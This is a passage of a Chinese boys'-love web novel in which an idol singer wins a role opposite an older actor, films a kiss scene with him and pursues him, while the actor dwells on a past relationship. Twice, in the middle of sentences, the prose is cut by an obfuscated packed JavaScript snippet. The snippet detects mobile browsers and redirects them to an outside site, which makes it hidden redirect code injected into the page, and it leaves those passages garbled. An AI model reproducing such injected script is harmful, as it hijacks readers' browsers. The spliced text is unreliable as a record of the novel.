狐狸眼亮晶晶地看过来,苏茜失笑地戳他一指头,“管好你自己吧。” 4. 第 4 章 许亦清推开试戏室的门,目光先被窗前那道瘦高的背影抓住,他愣了半秒,眉尾轻轻一挑——没想到新增的“追求者”第一候选人竟是林钰。 《霸爱》的续集剧本他早已通读,套路并不新鲜:两位主角各塞一名第三者,靠误会与狗血拉扯观众的情绪。侯超那条线添了一位留洋归来的千金表妹;他自己这边,则多了一个隐姓埋名、甘愿当“打工牛马”的富二代同事。 第三者戏份吃重,化学反应成了选角关键。经过两轮筛选,留下的候选人都得分别与侯超、许亦清对戏。 长桌后坐着资方代表、导演和选角导演,助理把新鲜打印的试戏片段递过来。许亦清低头一扫,那对好看的浓眉便轻轻蹙起。 片段要求富二代“汪逸阳”在表白被拒后情绪三层递进:羞恼、控诉、宣誓主权,还要用肢体把对手逼到落地玻璃窗前。台词与动作层层加码,对没有演过戏的新人来说难度不小。 林钰垂眼扫完台词,唇角那点笑意像春风拂过湖面。外形确实贴脸——肩线利落、步态张扬,一张少年脸带着天生的倨傲,像极了含着金汤匙长大的小开。 但据许亦清所知,林钰家世普通,唱跳歌手出道,后来成团C位,从未正儿八经演过戏。 “许老师,请多多指教。”林钰合上剧本,单手插兜,径直走到玻璃窗前,一脸成竹在胸。 “难道这个角色内定了他?”许亦清心里掠过疑惑,点点头,跟着走过去。 林钰低头,深吸口气,再抬眼——那点玩世不恭瞬间褪得干干净净,眸色暗得像暴风雨来临前的海面。“你再说一遍?”胸膛微微起伏,隐在袖子下的双手逐渐握紧。 “逸阳——”许亦清叫着角色的名字,轻抿了一下嘴唇:“谢谢你的欣赏,但是很抱歉……” 林钰并没有让他将台词说完,突然伸出一只手抓住他胸前衣襟,一股大力将他推向玻璃窗的方向,背脊几乎贴上冰凉的镜面时,力道又骤停——像把怒潮生生拽回堤岸。 许亦清有些错愕地抬眼,对上一双喷火的双眸,林钰愤怒地低吼:“你用不着道歉,也别急着拒绝!” 他的面庞凑过来,许亦清有些慌乱地别过脸,果然是新人啊,一上来就喜欢加戏,而且毫无分寸。 毕竟只是试戏,没有精准的场景设计,台词给出了大概脉络,演员可以自行添枝加叶,这也是对天赋与技巧的考量。 不过像林钰这样的莽撞者并不是绝大多数。 许亦清闭了一下眼睛,配合地将身体歪向一侧。凑过来的面庞却并未冒进,堪堪停留在耳畔,灼热呼吸贴着他耳廓,声音压得极低—— “你对一切一无所知,桑沐。睁开眼,好好看清楚!” 林钰是唱跳歌手出身,声线颇具磁性,这么贴耳说话震得整个耳腔一阵酥麻,许亦清不自觉地抖了抖。 抓着他衣襟的手却松开了,林钰退开了前倾的身体,许亦清轻呼口气,跟着站直。他不得不承认,林钰抓住了“汪逸阳”这个角色的底蕴:执拗,且略带一丝疯狂。 林钰退开半步,目光仍钉在他脸上,唇角勾起一抹冷嘲:“如果你跟他两情相悦,我无话可说。”上半身骤然压低,语速却更快:“可桑沐,你觉得韩宇对你是真心吗?” 他眼神冷冽,一句接一句,像刀锋划过玻璃—— “交往这么久,他还不了解你的为人?设计方案被泄露,第一个怀疑你!” “他那位表妹,自小定下的婚约,他有跟你坦诚交待过吗?” “他父母一次次为难、责怪你,他真的一无所知?” “我不知道你怎么定义‘爱情’,但绝不是视而不见、答非所问、强人所难!” 许亦清微微睁大眼——一半出于角色应有的震惊,一半是真被震住:这么长的独白,林钰一气呵成,毫无磕绊,且情绪十分到位。 要么天赋极佳,要么他早就拿到完整剧本。 许亦清更倾向后者——看来这个角色,公司果然内定了他。 这也在意料之中,公司投资的剧爆了,顺势推自家新人,再正常不过。何况林钰并不算新人:在星潮,他风头正盛,就算许亦清不爱凑热闹,也没少听他的“八卦新闻”。 压下心头升腾起的那一点点鄙夷,许亦清按剧本继续。 他垂眼,抬臂挡住再次逼近的人,语气慌乱却坚定:“逸阳,我的事我自己会处理,请你不要多管闲事……” 话音未落,一只微凉的手掌顺着胳膊滑下来,扣住他手腕。青年低笑,带着三分桀骜,“我偏要管——除非你答应,给我一个公平竞争的机会。” “OK,就到这。”选角导演起身喊停。 林钰松开手,退开两步,朝许亦清微微欠身:“许老师,辛苦了。” 狡黠的笑意从他眼底一闪而过,唇角挂着掩不住的得意——到底才二十四岁,再圆滑世故,也犹带几分稚气的底色。偏偏这张脸太好看,叫人讨厌不起来。 选角导演毫不掩饰偏爱,揽住他肩膀:“又进步了,比上次试戏更稳了。”两人熟稔得像是后台闲聊,肩并肩站在一块。 “上次?”许亦清微微疑惑。 他没出声,林钰却像听见似的,侧过头解释:“《霸爱》开拍的时候,我试过‘韩宇’这个角色,可惜没选上。”他将目光移向一旁的导演,“施导,您给指正一下?头一回来试戏就是听说您执导,想跟着学习没争取到机会,不知道这回有没有戏?” 许亦清怔了怔,难道他猜错了,并不是内定人选?而且当着众人的面就这么赤裸裸地询问结果,愈发出乎他的意料。 这林钰怕不是个傻子吧?导演怎么答?就你了!那后面几个还试不试了? 果然,戴着一副黑框眼镜的施导,抓了抓脑后扎成个小啾啾的马尾,似乎有些不悦地撇嘴道,“等消息吧。” 语气听着有些不耐烦,可许亦清在《霸爱》第一季跟组三个月,跟导演熟,敏锐地察觉到施导并没有生气。搞艺术的人多少有点真性情,林钰这股不管不顾的劲儿,可能歪打正着对了他的胃口。 许亦清在心里叹了口气,又悄悄松了口气。 叹气是感慨:林钰才多大?不光演技,连做人也有这个领悟能力,远胜当年的自己。 松了口气则是因为,若真由林钰出演,至少对手戏不会太磨人——续集里,他与“汪逸阳”的交集可不少。 林钰跟屋里众人打完招呼才离场。 电梯门一合上,他先给姜施岳发了条信息,随即收起手机,换上一副沉甸甸的表情,下到三十五楼的舞蹈室。 厚重的木门刚推开,炸裂的音乐就扑面而来。张弛“啪”地按下暂停键,其余几人立刻围上来,眼睛亮得像灯泡:“怎么样怎么样?钰哥,通过没有?导演说什么了?快说呀钰哥!” NF团一共就四个人,按年龄林钰其实排第二——傅子翔还比他大几个月——可“老大”的名头却稳稳落在他头上。从选秀、集训、成团一路走到现在,几年磨合,早就混成了铁打的交情。 对于老大“下海”演腐剧,团员们举双手赞成。 毕竟林钰是这么“忽悠”的:“哥也是没办法,咱们团总不能一直这么混吧?男男剧虽然名声不太好听,可露脸机会多啊,回头我跟剧组申请,路演、剧宣咱一块去,不说别的,好歹涨涨粉、多结几场演出费。” 其实不能算忽悠,林钰的做法是小糊团都会考虑的路径,只是僧多粥少,不是人人都能争取到机会。 对今天的试戏,林钰心里有底。他伸出两根手指,捏了捏崔英浩的脸颊:“把心放肚子里,这事比你减肥容易。” 崔英浩是泡菜国人,团里最小的,刚过二十一,身高一八零,眉眼清秀,脸颊还带着点婴儿肥。爱吃,又管不住嘴,天天嚷着减肥,却像只小仓鼠一样到处偷零食,没少挨姜施岳的骂。 正因如此,他对林钰简直佩服得五体投地:不仅能搞定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487713|185710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶巴巴的“姜姐”,甚至分了手还能让对方继续为他争取资源,一声“钰哥”,叫得心服口服。 几个人正笑闹着,舞蹈室的门又被推开,一张英气有余、妩媚不足的脸庞探进来:“林钰,你来一下。” 说曹操曹操便到,来人正是负责管理NF团的姜施岳。她是星潮娱乐的头部经纪人,手底下带了包括NF团在内的十几个艺人。 对外,她是资本面前的“高级打工人”;对内,却是这十几个年轻人的“CEO”。 商演、综艺、代言、剧本、宣传通稿,统统先过她这一关;日程排布、助理去留、造型团队人事,她一句话就能换人;就连剧集合约、品牌代言,也得她先点头,法务才能跟进。 在圈里,艺人和经纪人谈恋爱的例子并不少。越火的艺人越忙碌,几乎二十四小时被工作包围,最熟悉的人就是经纪人,“日久生情”是高概率事件。 姜施岳比林钰大五岁,名利场上摸爬滚打多年,出了名的能干。 她反手掩上玻璃门,往沙发上一坐,没好气地开口:“你就这么笃定你试得上?” 林钰正在咖啡机前捣鼓,她的办公室他向来熟惯,听见问话,回头笑道:“那当然。上次被刷下来后,表演课我可一节没落。” 咖啡滴完,他端过去放到姜施岳面前,顺势把话题带向正事:“施岳,我们团的专辑销量你最清楚,公司承诺的团综也遥遥无期,我必须想想别的办法。趁空档期拍戏也能维持曝光率……” “哟,你什么时候对事业这么上心了?”姜施岳并不好哄骗,毕竟一进星潮就是她带着,对他一贯的行事作风相当了解。 “真这么上进,早混出头了,还用等到今天?”她抱肘插胸,一双杏仁眼藐着他,“说吧,到底打的什么算盘?” 姜施岳的确精明,但林钰棋高一着。 他不急着回答,先上前掰开她交叠的手臂,顺势把人带进怀里,掌心在她后背轻拍一下——动作亲昵,却更像老友间的温存,轻易就把强势的大女人转化成娇气的小女生。 星潮新人这么多,她为什么偏偏看上林钰呢?因为他看她的第一眼就没把她当成上司,一双狐狸眼自上而下,带着明目张胆地打量,薄唇微挑,流露出欣赏的意味。 那种男人对女人的欣赏。 林钰看她神情松动下来,立刻退开两步。他不得不利用这丝柔情,却绝不愿意因此被缠绕包裹。 “施岳,毕竟我也二十四了,该懂事了。之前你给我创造过很多机会,是我没抓住,但这部戏我是真想拍,而且想拍好。”他难得一脸诚恳,“你也知道这部双男主的热度有多高,你之前的顾虑不是没有道理,如果拍了,之后上正剧可能有难度,可反过来想,如果连磨炼的机会都没有,就算你费心帮我争取到好角色,恐怕我也撑不住。” “时间不等人,干脆豁出去,走一步看一步,你觉得呢?” 面对苏茜和姜施岳,林钰采取完全不同的策略。 苏茜作为君麟集团的行政总裁,见多识广,他骗不过她,反倒是坦诚,能让她另眼相看几分。 姜施岳则不同,目前她是他的垂直上级,而且对他余情未了,他要在她面前说实话那他就是个大傻*! 他叹了口气,一瞬间想到“黑猫警长”因为“欺骗”产生的负罪感,果然人与人不同!像他,就完全不会因为这种谎言而感到愧疚。 “施岳,你就帮我约施导吃个饭吧。”林钰微弯下腰,语气软得像在撒娇,“让我演这个角色,我保证不给施导丢脸。先聊聊,我也好提前做功课。” 姜施岳,“施”是母姓,施导是她表哥,明面上没多少来往,私底下关系很亲近。林钰跟姜施岳交往过两年,自然了解内情。 见她不说话,他又凑近些,扯着她的胳膊摇晃,“行不行?大美人?” 向来只有他敢这样涎皮赖脸,姜施岳没绷住,“噗嗤”一声笑出来,“行吧行吧,等我消息。” 5. 第 5 章 许亦清戴着口罩走出小区门口,抬头张望。“嘀”一声脆响,路边一辆宝马降下半扇车窗,探出来半个脑袋,“许老师这儿!这儿!” 他略带疑惑地钻进车厢,林钰手忙脚乱地将副驾驶座位上的剧本、耳机、外套往后座扔,冲他解释道:“我跟 John 打过招呼了,这段时间就由我接送您,反正咱俩顺路。” 林钰进组才一周,却几乎长在片场——没戏也搬个小马扎坐监视器后头观摩学习,台词本翻得起了毛边。敬业的态度大伙都看在眼里,获得了剧组上下的一致好评。 “太麻烦你了,John那边不方便的话我自己打车就好。” “许老师,我正想跟您说这事。”林钰摘下墨镜,一双狐狸眼满含为难地看着他,“您也知道昨天那场戏……后来施导说我了。是我没表现好,可咱俩确实……还不够熟,所以接下来我得尽可能地接近您,希望许老师能多给点机会。”他垂下眼睛,英俊的面庞带上了一丝赧然,“您也知道,这部戏对我个人发展来说很重要。” 许亦清顿时了然。 进组一个星期,林钰的表现可以用“惊艳”来形容。虽然是唱跳爱豆出身,但表演课应该没少上,台词、走位、情绪衔接干净利落。不管是跟其他“同事”的互动还是个人内心独白场景都完成得高质、高效。 唯独跟许亦清的对手戏不够流畅自然,昨天那场洗手间将人拦住再次告白的戏码多次NG。 “害羞?”选角导演蔡哥在旁边看热闹,“那后天的吻戏怎么拍?” 一向好脾气的施导板起脸,“林钰,你眼神里缺‘占有的火’!你对他是志在必得,不是小学生搞暗恋!害羞什么!没演过BL总演过BG吧?哦BG也没有,那找找谈恋爱的感觉,拿出把……人迷得神魂颠倒的劲头!” 转头又提醒许亦清:“虽说韩宇是官配,可你对汪逸阳也不是毫无感觉,观众要看的是什么?是拉扯!挣扎感再明显一点,别光板着脸!” 有了这番铺垫,林钰大清早守在小区门口接许亦清显得合情合理。 “我懂你的意思,”许亦清点头,“你先把这称呼改了吧,别您来您去的了。”他仗着比他大九岁,向来是直呼其名的。 “是!那……亦哥?” 他声音颇有磁性,这么压低了凑耳朵边上喊,许亦清的耳朵尖不自觉地抖了抖。 “哎,亦哥,你的耳朵会动哎!” 这熊孩子!能不能假装没看见? 林钰憋住笑,轻咳一声,伸出长臂从后座中央扶手架上取了杯饮料,“给,冰美式,我自己做的。”他做饭不行,调制咖啡这块还算拿手。 “谢谢。”许亦清接过搁置物架上,翻开包盖,“你吃早餐了吗?” 林钰瞄了一眼,“没有。” 许亦清拿出饭盒,掀开盖,是两个彩椒碗,底下还铺着糯米纸,他包裹着托起递了一个给林钰,“尝尝。” 半个黄色彩椒被挖空,填充着鸡胸肉和蔬菜沙拉,深色藜麦点缀其间,像个袖珍花篮。林钰擎在手里看了看,一口塞嘴里,又退出来,讪讪笑道:“光看着都觉得好吃。” 实际是彩椒碗比较小,也就一大口的量。他咬一口,眼睛里放出光来,“这是你自己做的?太好吃了!” 他在剧组几天早发现了,许亦清不会动剧组配的盒饭,基本上是自己带,他对饮食挺讲究。 “明天我给你做大一点。”许亦清点点头,“劳你接送我,你的早餐我包了。” 林钰眉眼都弯起来,一脸雀跃,“真的吗?那太谢谢了。”他对这个进展十分满意,但眼珠一转——“亦哥你吃东西,我给你系安全带。” 说完也不等许亦清回答,欺身靠过去,隔着个小小的饭盒,两人的身躯短暂重叠。温热的呼吸擦过许亦清耳廓,他下意识偏头,错过了对方悄然勾起的唇角。 青年垂眸,目光掠过那张令人惊艳的侧脸,喉结轻滚,把触碰的冲动压回齿间。 不能急。 这个大他九岁的男人是十分敏锐的,没有一击必中的把握就不能打草惊蛇。网聊几年,他对许亦清相当了解。本身就情感慢热,遭受过网暴的经历让他对陌生人的靠近很警觉,不管是得到这个人还是走进这颗心似乎都并不容易。 但林钰向来具备挑战精神,他退回驾驶位,戴上墨镜,“坐稳啦,我开车咯。” 肢体伸展间,一股独特的气息掠过许亦清鼻尖。 迪家的这款“旷野之心”偏辛辣、层次分明,清新中透着点霸道。虽然许亦清本身不喜欢喷香水,但身在娱乐圈,多少有所涉猎。 这味道意外地贴合林钰:外表温和,实则锋刃暗藏。 他环视一眼车厢,整体装饰风格偏硬朗,但椅背上爬着金属小蜘蛛,空调出风口悬着镌刻铭文的银铃,随车速轻撞,叮当作响——张扬又孩子气的小趣味。 目光滑过开车的人,明明天还热却戴了顶凉帽、脖子上重叠着几根银链子,大T恤的袖口卷了几道边,若隐若现地露出手臂内侧的纹身。 他有些感慨地收回目光,气味与细节让他感受到了年龄差。 短短一周,让许亦清对这位公司“团宠”多了几分了解,二十出头的青年精力充沛,像只永动机似的在片场四处蹦跶,逮谁都能聊上两句,尤其喜欢围着他献殷勤。 许亦清挺能理解的,渴望出头的年轻人,哪个不是虚心、好学、逢人就笑?他把林钰的殷勤视作“角色需要”,毕竟续集里,“汪逸阳”对“桑沐”穷追猛打,各种手段使尽。对新人来说,逐渐“入戏”是个再正常不过的流程。 剧组众人显然也是同样的解读,林钰跟在许亦清后头,许老师长、许老师短的,时不时给他带咖啡、收工喊着要送他回家,没有引起任何风言风语。 唯一不爽的大概只有侯超。 林钰才进组的时候,两人还勾肩搭背、称兄道弟。没两天,随着拍摄的开展,侯超明显感觉到剧情在往许亦清和林钰的对手戏上倾斜。 导演组给出的解释合情合理,虽然他这边也有支线,但《霸爱》是部BL剧,镜头不可能过多的给到他与“表妹”。 侯超暗地里咬牙,都是江湖上的老麻雀,谁还不知道这背后的伎俩呢?必然是林钰私底下做了功课。摘桃子摘到他头上了,也不看看自己有没有那本事! 这天收了工,三人一块坐电梯去停车场,侯超率先发难,“哥们最近挺忙啊?苏姐都说好久没看见你了。” 苏茜怎么可能会跟他搭话?侯超说这个无非就是点一点,他清楚他的底细。 林钰扬起笑脸,“这不忙着拍戏嘛,那种酒局我本来也去得少,不比超哥是常客。” 富婆局林钰确实去过几次,跟侯超也是在酒局上认识进而熟络起来的,他背后那条腿的分量他清楚得很,压根不怵,平时礼让是给他面子,还真把自己当根葱了? 当着许亦清的面,他当然不肯示弱。 侯超冷哼一声:“没办法,邀约的人太多。” 林钰直接不搭腔,电梯里瞬间陷入一片尴尬的寂静。 下到停车场,许亦清跟林钰往车方向走,侯超突然回头,“亦清,我送你,明天的戏咱俩再聊聊?” 许亦清微微一怔,跟林钰打了声招呼,还是往侯超的方向走过去。 他跟侯超搭档了几个月,关系更熟稔,而且这部戏他跟侯超才是CP,虽然没有官宣,但是CP粉的数量很不少,是有营业需求的。 双方需要互相配合的地方很不少,他不能不给他这个面子。 当然他也清楚侯超是拿他做筏子,心里其实也有些惊诧林钰方才的反应,这孩子平时看着挺圆滑、挺会来事的,这回怎么就不转弯了? 第二天他特意做了林钰爱吃的鸡肉沙拉卷,又榨了杯橙汁,等上了车,带了几分安抚地递过去。 林钰趴在方向盘上,听到动静,抬起头,硕大的墨镜遮住了半张脸,唇角往下拉,流露出十分委屈的意味来,不肯接他手里的东西。 原本想囫囵过去的许亦清只好叹口气,将橙汁塞进置物架,拍了拍林钰肩膀,“别生气了,同事之间磕磕碰碰难免的。” “我是气他吗?”林钰摘下墨镜,通红的双眼露出来,“你为什么跟他走?说好我负责接送你的。” 许亦清看着那双原本神采飞扬的眼睛布满血丝和愤懑,吓了一大跳,至于吗? “他不是说要聊聊戏的事吗?”他有些呐呐道,“你俩之前关系挺好,别为一点小事闹意见。” 林钰鼓着嘴,“我才不跟他好。” 瞧瞧这声气,许亦清抿了抿唇,权当哄孩子了,他将包着鸡肉沙拉的锡箔纸卷下半截,塞到鼓着的嘴巴跟前,“喏,你最爱吃的。” 林钰忿忿地张嘴,就着他的手咬了一大口,才接过去,发动了车子。一路静默,不肯跟他多说一句话。 他这股气一直憋到片场,情绪倒是跟即将开拍的戏份十分吻合: 韩宇陪千金表妹逛珠宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这熊孩子劲可真大!许亦清不得不增加一些肢体动作,几番纠缠拉扯,微凉的唇贴了上来。 许亦清蓦地瞪大了眼睛……多亏林钰的脸挡住了镜头! 拍吻戏乃至床戏,对于专业演员来说是家常便饭。血气方刚的年纪,青春美好的肉|体,耳鬓厮磨间应激起反应是很正常的事情。 但大都是NG次数太多,啃来咬去的,像林钰这样一上来就……到底是新人!可就算是新人…… 许亦清能感受到贴着他的唇瓣在微微地颤抖,舌尖贴着他的牙关慌乱地游移,似乎想要破门而入却又不得其法。 这场吻戏并未注明是否需要舌吻,除非特殊场景,一般导演组不作具体要求,由演员自行商定。像他跟侯超的吻戏,看着啃咬得十分激烈,实际只是情绪加持下的唇部运动。 那一瞬间,许亦清脑海里绷着的一根弦突然就松了…… 大概是太久没有这样炙热地拥抱、激烈地亲吻了,两排咬紧的牙松开了一条缝隙……紧贴的舌尖立马感受到了,灵蛇般游弋而入,抱着他的双手愈发勒紧,箍得人喘不过气。 “Cut!”机器停止运转,沉浸其中的演员神思归位。 施导站起身,有些兴奋地拍手,“很好,这条过了!”他走过来缓解两人的尴尬,”情绪很准,亦清从挣扎到妥协表现到位,”又拍了拍林钰肩膀,“小子不错啊,一条就过了,嘴上有戏。”他指挥摄影移动机位,“来,再保一条,林钰,亦清闭眼的时候,你要看向门口……” 这一晚收工回家的车上气氛颇为怪异。 许亦清双手抱胸,面色冷淡。也算圈里老人了,一向自诩职业操守,不知今天怎么就昏了头……他极力想要表现得若无其事,发现很困难之后,干脆默不作声。 相反,林钰则是一脸亢奋,不管许亦清搭不搭腔也东拉西扯地说个不停,一路将车开得飞起,还跟着电台榜单哼着英文歌。 吵死了……许亦清别过脸皱眉,可又不得不承认,这小子唱歌……好像还不错? 下车的时候,林钰红着脸,期期艾艾:“亦哥,这是我的荧幕初吻……” 许亦清愣了一下,“要不要给你发个红包?” “啊,可以吗?!” “嘭!”车门被重重甩上,许亦清扬长而去。 林钰看着他的背影,抚唇,露出了一抹兴味的笑容。 6. 第 6 章 许亦清回到租住的公寓,打开密码门锁,灯光潮水般从玄关漫到客厅,遮光帘自动滑向两侧,音响开始播放乐曲。 在金城打拼多年,他没有买房买车,但日常生活质量并不低。室内装修典雅,收拾得十分整洁,全套智能家居,顶级音响配备。 清冷的男中音唱着一首粤语老歌: “冷冷雨为我叫醒别傻, 不知不觉躺进了漩涡……” 许亦清皱眉:“小白!” “主人,我在。” “换歌!”顿了顿又道,“把这首从所有歌单中删掉。” “好的。” 旋律换成了轻柔的爵士。他踢掉皮鞋,换上拖鞋,将背包挂到衣帽间,有些疲惫地躺进沙发。 略显昏暗的光线将这个大通间氤氲出几许孤寂。 这是他来到金城的第十一个年头,这里是他租住的第五套公寓。 从地下室到高端寓所,房子越住越大,东西却越搬越少。搬家是件麻烦事,和顾明钧分手那次,连两人养的猫都弄丢了。 不管好的坏的,他似乎什么也留不住。 他叹了口气,将一首歌引出的繁情杂绪赶出脑海,修长的手指抚过唇瓣,逃避般地去回想片场发生的那一幕。 一上来就起反应,林钰的取向不言自明,这倒有些出乎许亦清的意料。 他进入星潮娱乐不过一年,在公司的时间不多,但林钰和他经纪人的关系是听说过的。而且那天他跟侯超在电梯里争执,也证实这是个玩咖,金城那些富婆们组的局没少去。 或者他是男女都行?许亦清啧了一声,贵圈可真乱啊! 他关掉音响,随手拿过茶几上的遥控器,打开电视机,进入音乐包厢,搜索“林钰”两个字,立马跳转出他所在的NF团,以及发行的单曲和专辑。 点开热度最高的一首,四个年轻帅气的身影出现在屏幕上。这是一首轻电音风格的歌曲,节奏明快、旋律轻飘,阳光大男孩分批耍着帅。 许亦清不由得轻笑一声,但不得不承认,林钰的辨识度的确是最高的,当之无愧的C位。 点击下一首,MV的画风突变,阴暗的环境、低沉密集的鼓点,画着烟熏妆、披着黑斗篷的男人露出一个魅惑的眼神,冲屏幕前勾了勾手指,“……If you love me, lay your heart in my hands……” 这歌有点意思,不光将林钰那张脸打造得颇为sexy,一把烟嗓也体现得淋漓尽致。 他日常说话其实没有很低音炮,但唱歌似乎又低了两个度,与刚那首歌里的表现截然不同,看样子音域挺宽广。 许亦清看着屏幕上冰冷酷飒的青年,耳畔回响起那一声急过一声的喘息,紧贴着他的身躯不受控制似地抖,重叠的皮肤热得发烫,萦绕的香水带着体温赋予的专属气息……一股久违的燥热窜上脊椎。 他调低音量,起身,将衣物一件件剥下丢进洗衣篮,赤脚踏进浴室。 水声停了很久,他才再度回到客厅。脸上贴着面膜,头发半干,浴衣松散,露出一片浅绯的胸膛。 他在吧台倒了一杯底的威士忌,加了两块冰,一边轻啜,随手拿出台词本,将明天要拍的片段反复核对,又闭上眼睛在脑海里搭景走位,嘴里念念有词。 这项工作在他卸面膜、护肤、准备第二天餐食的过程中都没有停歇。 他显然对一心二用这个技能已经完全掌握,嘴里念着台词,刀锋稳稳把鸡胸肉切成丁,撒一把羽衣甘蓝,再淋上柠檬油醋。 等他将两个饭盒放入包袋,头发已经干透。换了睡衣,抬手准备关电视,却在退出音乐包厢后,界面自动跳转到娱乐频道——一张陌生又熟悉的面孔猝不及防地撞进视线。 “……您凭借《暗夜微光》一举摘得金鲤、铜鹤两座大奖,实现‘五奖大满贯’,此刻的心情如何?能和我们分享一下吗?”美女主持人毫不掩饰欣赏的目光看向对座西装革履的人。 “成片一出来,我觉得拿奖是意料中的事。”不疾不徐的温文声音却表达着强大的自信,和他俊挺儒雅的外表十分契合,“这部片子打磨了近三年,整个团队为此付出了许多心血。至于我个人,只是荣誉的载体,事实上幕后工作人员更值得掌声。” “您实在太谦虚了,据说安导为了说服您出演这个角色,多次围追堵截……”主持人掩嘴轻笑,摆出小迷妹的姿态,滔滔不绝地盛赞,“您的每一部作品我都看过多次,用千人千面来形容十分恰当……” 主持人的褒奖并不算夸张,顾明钧天赋极高,加上岁月地淬炼,演技早已炉火纯青。他饰演的片子,许亦清都有看过,的确每一个形象都有突破。 不枉当年他们捧着《导演札记》、《电影概论》、《世界电影史》……灯下苦读,拿到试镜的剧本两人一遍一遍地对练。 “过奖了。”顾明钧微微颔首,礼貌而克制地端起茶杯,显然无意继续这场商业互捧。 主持人只能将话题拉回电影本身,“对于《暗夜微光》这部片子以及您扮演的角色,您有什么样的解读呢?” 许亦清怔怔站在那里,看着那抹侃侃而谈的身影。 熟悉的声音像一把钥匙,“哗啦啦”打开了记忆深处的胶片盒,那些尘封的过往一幕幕如同放映电影般从眼前掠过……他的唇角抖动着,似乎泛起了一抹笑意,抬手关闭了电视。 因此没有听到主持人问的最后一个问题,“顾老师,如果让您对二十五岁还在跑龙套的自己说句话,您会说什么?” 场面有片刻的沉寂,顾明钧对着镜头一字一句低声道:“不要害怕,不要着急,不要把最重要的人弄丢。” 许亦清辗转反侧,很晚才睡着,然而极力控制的思绪却在梦境里反扑。 “这个时候再出面澄清只会让好不容易平息下来的事态又被翻出来,”那双宽大的手掌紧紧地握着他,“对不起亦清,我在湄公河上漂了三个月,手机都被收了,是真的不知道你遭遇了这些……” 许亦清揪紧了被子。 “……他说的是不是真的?我问你宋奕说的——是不是真的?”那双深邃的眼睛里溢满愤怒与哀恸,攥着他衣领的手,指节泛白波浪般颤抖,“下贱!你他妈自甘下贱!”狠狠甩过来的一巴掌,最终落到了他肩膀上,那人转身走远。 许亦清弓着腰,大口地喘息,“别走,别走……”他喃喃地低声。 昏暗的地下室里,鼻端似乎还萦绕着那股潮湿的霉味,辨不清颜色的被褥间是起伏的身躯,白得耀眼的肢体交缠在一起,结实的臂膀搂着他,将烟递到他唇边,“等我领到这部戏的片酬,咱们就换地方。委屈你了,”温柔的亲吻、低沉的嗓音,“等有钱了,我一定买个大房子,养只猫养只狗,再请个佣人给咱们做饭……” 许亦清蜷缩在枕堆里,婴孩般盘成一团,双臂抱紧了肩膀。 “亦清,你快看!那就是金城!”北上的列车上,十年前的顾明钧说着家乡话,一脸兴奋地抱着他肩膀,“我们一定可以在那里扎根!实现我们的梦想!” 梦想啊……梦想……许亦清在睡梦里翻了个身,眼角沁出泪来。 第二天清早,拉开车门打了个照面的两人都是一愣,两双熊猫眼面面相觑。 “啊许……亦哥,你昨晚上也失眠了?"林钰一脸关切,实则难掩兴奋,“难道跟我一样……” 他几乎一晚上没睡着,眼前不断晃动着许亦清微闭的眉眼,还有舌尖感受到的那道缝隙。尽管还没来得及深入地勾缠、品味就被导演看了“卡”,但他心里有了底。 对男人来说,只要他的身体不排斥你,这事就成了一半。 林钰对自己的魅力向来有十足的信心,千方百计都要出演这部BL剧,本就是冲着许亦清去的,品尝到绝美滋味的同时瞄到了胜利的曙光,怎能不叫人心痒难耐以至夜不能寐? 许亦清没好气地瞥他一眼,“你什么样我不知道,我是看剧本。”看林钰还在那傻笑,忍不住提点了一句,“你看了没有?今天有你跟韩宇的对手戏。” 人只要有了亲密的肢体接触,言行难免就会跟着变得随意些。 林钰低头剥鸡蛋,拿保鲜膜裹着递过去,“给,我出门前煮的,在眼睛下面滚一滚吧。”见许亦清皱眉,忙不迭地点头,“看了看了,他要打我嘛。” 在酒吧撞见两人亲密互动,韩宇终于对汪逸阳的插足行为忍无可忍,干脆派人把汪逸阳“请”走,准备好好给他一顿教训,借机宣示自己对桑沐的主权。 这种戏份是最容易“公报私仇”的了,跟侯超合作过一季,许亦清比较了解这人,不是个肯吃亏的主。 《霸爱》第二季不止大幅加重他与林钰的对手戏,对林钰这个角色本身的塑造也更细节、更 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“……影帝顾明钧凭借新片《暗夜微光》再摘金鲤、铜鹤双奖,完成个人生涯‘五奖大满贯’!据悉,团队近期将携片出征奥伯龙电影节,有望在国际影史留下浓墨重彩的一笔……” 许亦清伸手换了个频道。 林钰戴着墨镜,悄悄睨了他一眼,用轻快的语气问道:“亦哥,我记得顾明钧好像也是你们江省人,你认识吗?” “不熟。”许亦清答得轻描淡写。 五六年前的事了,那时林钰才多大?估计还是个即将参加高考的小屁孩。而且当时顾明钧的经纪公司也极力撇清两人之间的关系,他撒谎撒得毫无压力。 “哦,这样。”林钰轻咳一声,将音乐声音调大了一点。 隔着墨镜,窥探着那张平静无波的侧脸,林钰咬了咬唇,如果不是亲眼看见你俩抱一块啃,你这话我还真信了。 复读一年,如愿考上金城戏剧学院,他天生擅长交际、爱好玩乐,一到周末假期就跟着混各种趴体、酒局。 电影学院、戏剧学院个个俊男靓女,只要你愿意去,纸醉金迷的世界就会向你敞开大门,豪车管接管送,红包礼物收到手软。 他用各种名目打听着“许亦清”这个名字。 “……许亦清?”趴体上结识的“大哥”醉眼迷离,一巴掌拍他肩膀上,“你问他干嘛?” 林钰晃着酒杯,半真半假地笑:“我看他演的那部《霓虹》,挺漂亮的,也不见他出来玩?” “唔,那张脸是挺漂亮,可惜呀……有主喽!”“大哥”显然也颇感遗憾,“男朋友看得比狗还紧,我跟他老同学了,都叫不出来——害我在周总面前丢脸!” “男、男朋友?” 